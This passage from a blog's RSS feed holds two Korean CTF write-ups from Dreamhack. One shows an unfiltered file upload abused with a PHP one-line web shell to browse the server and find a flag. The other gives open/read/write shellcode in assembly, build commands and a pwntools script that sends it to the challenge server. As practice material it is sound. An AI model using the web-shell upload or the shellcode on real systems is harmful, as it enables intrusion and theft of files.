      &lt;div class=&quot;container&quot;&gt;
        &lt;div class=&quot;navbar-header&quot;&gt;
          &lt;a class=&quot;navbar-brand&quot; href=&quot;/&quot;&gt;Image Storage&lt;/a&gt;
        &lt;/div&gt;
        &lt;div id=&quot;navbar&quot;&gt;
          &lt;ul class=&quot;nav navbar-nav&quot;&gt;
            &lt;li&gt;&lt;a href=&quot;/&quot;&gt;Home&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;/list.php&quot;&gt;List&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href=&quot;/upload.php&quot;&gt;Upload&lt;/a&gt;&lt;/li&gt;
          &lt;/ul&gt;
        &lt;/div&gt;&lt;!--/.nav-collapse --&gt;
      &lt;/div&gt;
    &lt;/nav&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
    &lt;div class=&quot;container&quot;&gt;
      &lt;form enctype=&#39;multipart/form-data&#39; method=&quot;POST&quot;&gt;
        &lt;div class=&quot;form-group&quot;&gt;
          &lt;label for=&quot;InputFile&quot;&gt;파일 업로드&lt;/label&gt;
          &lt;input type=&quot;file&quot; id=&quot;InputFile&quot; name=&quot;file&quot;&gt;
        &lt;/div&gt;
        &lt;input type=&quot;submit&quot; class=&quot;btn btn-default&quot; value=&quot;Upload&quot;&gt;
      &lt;/form&gt;
    &lt;/div&gt; 
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<ul>
<li><p>이름이 중복일 경우 종료한다.</p>
</li>
<li><p>업로드시 php를 필터링을 하지 않는다.</p>
<ul>
<li>php파일 올려서 system함수를 사용하여 flag를 탐색한다.</li>
</ul>
</li>
<li><p>테스트 파일 올려서 검증 컴파일 되는지 확인
  <img src="https://velog.velcdn.com/images/imkyu_1228/post/cfce7bf8-178c-410b-974e-70194e72160c/image.png" alt="">
  <img src="https://velog.velcdn.com/images/imkyu_1228/post/dc23adb5-808e-4f5d-a0da-9e42d456698d/image.png" alt="">
  <img src="https://velog.velcdn.com/images/imkyu_1228/post/23af4b79-8332-4105-a905-6f2ac969e29e/image.png" alt="">
  <img src="https://velog.velcdn.com/images/imkyu_1228/post/31aa70bd-6fd0-47ac-b06e-8735f8b9313d/image.png" alt=""></p>
</li>
</ul>
<ul>
<li>한줄 웹셀을 올렸다.
 <img src="https://velog.velcdn.com/images/imkyu_1228/post/673f98fc-bb05-4ed0-9a19-f05f2d9b6f34/image.png" alt=""></li>
</ul>
<ul>
<li>ls명령어가 먹히는걸 보면 리눅스/유닉스 환경이다.<br>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/7b836280-1d67-4f8f-a4ad-e8ed6f4f97a3/image.png" alt=""></li>
</ul>
<ul>
<li>cd, ls 명령어를 사용하여 상위폴더를 하나씩 탐색하여 flag.txt를 발견했다.
  <img src="https://velog.velcdn.com/images/imkyu_1228/post/ef59dbbd-fedf-41cb-a769-f787ad57ba58/image.png" alt=""></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[dreamhack] shell_basic]]></title>
            <link>https://velog.io/@imkyu_1228/dreamhack-shellbasic</link>
            <guid>https://velog.io/@imkyu_1228/dreamhack-shellbasic</guid>
            <pubDate>Sun, 24 Nov 2024 06:19:54 GMT</pubDate>
            <description><![CDATA[<ul>
<li>쉘코드 : 명령쉘을 실행시켜 공격자가 컴퓨터를 제어할 수 있도록 하는 코드</li>
</ul>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/004d1691-bd12-4320-b333-0c8a8e16dcfb/image.png" alt=""></p>
<h3 id="문제-파일">문제 파일</h3>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/d818bb09-bd29-4df1-83e8-dc876935fd0c/image.png" alt=""></p>
<ul>
<li>shell_basic<ul>
<li>실행파일</li>
</ul>
</li>
<li>shell_basic.c</li>
</ul>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/9a34e109-5a39-4020-bada-6a528f4606a0/image.png" alt=""></p>
<pre><code>- 0x1000만큼 shellcode 를 실행시킨다</code></pre><h3 id="설명">설명</h3>
<ul>
<li><p><strong>/home/shell_basic/flag_name_is_loooooong</strong></p>
<ul>
<li><p>위 파일을 출력하면 flag가 나온다</p>
</li>
<li><p>따라서 파일을 열고(open) 읽고(read) 출력(write) 하면 된다.</p>
</li>
<li><p>파일 경로 문자열을 8바이트씩 짜르고 역순으로 배치 후 16진수로 변환</p>
<pre><code class="language-python">  # convert.py
  from pwn import *

  data = &quot;/home/shell_basic/flag_name_is_loooooong&quot;
  str1 = []
  for i in range(0, len(data), 8):
      print(hex(u64(data[i:i+8])))
</code></pre>
</li>
</ul>
</li>
</ul>
<ul>
<li><p>open, read, write 어셈블리어 작성</p>
<ul>
<li><p>syscall을 사용</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/6d7a3197-4ce1-4b36-b0cc-a2668c85b0a5/image.png" alt=""></p>
</li>
</ul>
</li>
</ul>
<pre><code>    ```nasm
    ;exploit.asm

    section .text
        global _start

    _start :
        push 0x0 ; 널(문자열의 끝)
        mov rax, 0x676e6f6f6f6f6f6f
        push rax
        mov rax, 0x6c5f73695f656d61
        push rax
        mov rax, 0x6e5f67616c662f63
        push rax
        mov rax, 0x697361625f6c6c65
        push rax
        mov rax, 0x68732f656d6f682f
        push rax

        ;open
        mov rdi, rsp ; 스택의 최상단 주소
        xor rsi, rsi ; rsi = 0 : O_RDONLY 읽기만
        xor rdx, rdx ; rdx = 0 : 의미 없음
        mov rax, 0x2 ; syscall open
        syscall

        ;read
        mov rdi, rax ; rdi = fd
        mov rsi, rsp
        sub rsi, 0x30 ; 0x30만큼 버퍼 생성
        mov rdx, 0x30 ; 길이
        mov rax, 0x0 ; syscall read
        syscall

        ;write
        mov rdi, 0x1 ; stdout
        mov rax, 0x1 ; syscall write
        syscall

        ;exite
        xor rdi, rdi ; 에러코드 0
        mov rax, 0x3c ; syscall exit
        syscall
    ```</code></pre><ul>
<li><p>파일 변환</p>
<ul>
<li>nasm -f elf64 exploit.asm : 어셈블리어를 기계어로 변환</li>
<li>objcopy --dump-section .text=exploit.bin exploit.o : 바이너리 파일로 변환</li>
</ul>
</li>
<li><p>서버에 코드 보내기</p>
<ul>
<li><p>cat exploit.bin | nc “서버정보”</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/43f82a0b-cef5-4783-852e-804f7d800e12/image.png" alt=""></p>
</li>
</ul>
</li>
</ul>
<pre><code>- pwntools 사용

    ```nasm
    #exploit.py
    from pwn import *

    p = remote(&quot;서버 정보&quot;)
    shellcode = b&quot;\x48\x31\xf6\x48\x31\xd2\x56\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x50\xba\x50\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05&quot;
    p.sendafter(&quot;shellcode: &quot;, shellcode)
    print(p.recv())
    ```

    ![](https://velog.velcdn.com/images/imkyu_1228/post/ca0e7982-f7f5-44c2-81f1-abe502152464/image.png)</code></pre>]]></description>
        </item>
    </channel>
</rss>